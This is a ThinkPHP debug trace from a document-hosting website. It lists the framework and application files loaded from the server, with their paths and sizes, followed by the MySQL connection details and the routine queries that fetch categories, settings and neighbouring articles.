  76. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  77. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  78. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  79. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  80. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  81. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  82. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  83. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  84. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  85. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  86. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  87. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/Request.php ( 0.09 KB )
  88. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  89. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/middleware.php ( 0.25 KB )
  90. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  91. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  92. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  93. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  94. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  95. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  96. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  97. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  98. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  99. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  100. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  101. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  102. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  103. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/route/app.php ( 3.94 KB )
  104. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  105. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  106. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Index.php ( 9.87 KB )
  108. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/BaseController.php ( 2.05 KB )
  109. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  110. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  111. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  112. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  113. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  114. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  115. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  116. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  117. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  118. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  119. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  120. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  121. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  122. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  123. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  124. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  125. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  126. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  127. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  128. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  129. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  130. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  131. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  132. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  133. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  134. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  135. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Es.php ( 3.30 KB )
  136. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  137. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  138. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  139. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  140. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  141. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  142. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  143. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  144. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/runtime/temp/c935550e3e8a3a4c27dd94e439343fdf.php ( 31.50 KB )
  145. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000516s ] mysql:host=127.0.0.1;port=3306;dbname=wenku;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000728s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.001935s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000328s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000719s ]
  6. SELECT * FROM `set` [ RunTime:0.000260s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000584s ]
  8. SELECT * FROM `article` WHERE `id` = 600510 LIMIT 1 [ RunTime:0.005469s ]
  9. UPDATE `article` SET `lasttime` = 1778478573 WHERE `id` = 600510 [ RunTime:0.007530s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000336s ]
  11. SELECT * FROM `article` WHERE `id` < 600510 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000588s ]
  12. SELECT * FROM `article` WHERE `id` > 600510 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000563s ]
  13. SELECT * FROM `article` WHERE `id` < 600510 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.004800s ]
  14. SELECT * FROM `article` WHERE `id` < 600510 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.004083s ]
  15. SELECT * FROM `article` WHERE `id` < 600510 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.006536s ]
0.113978s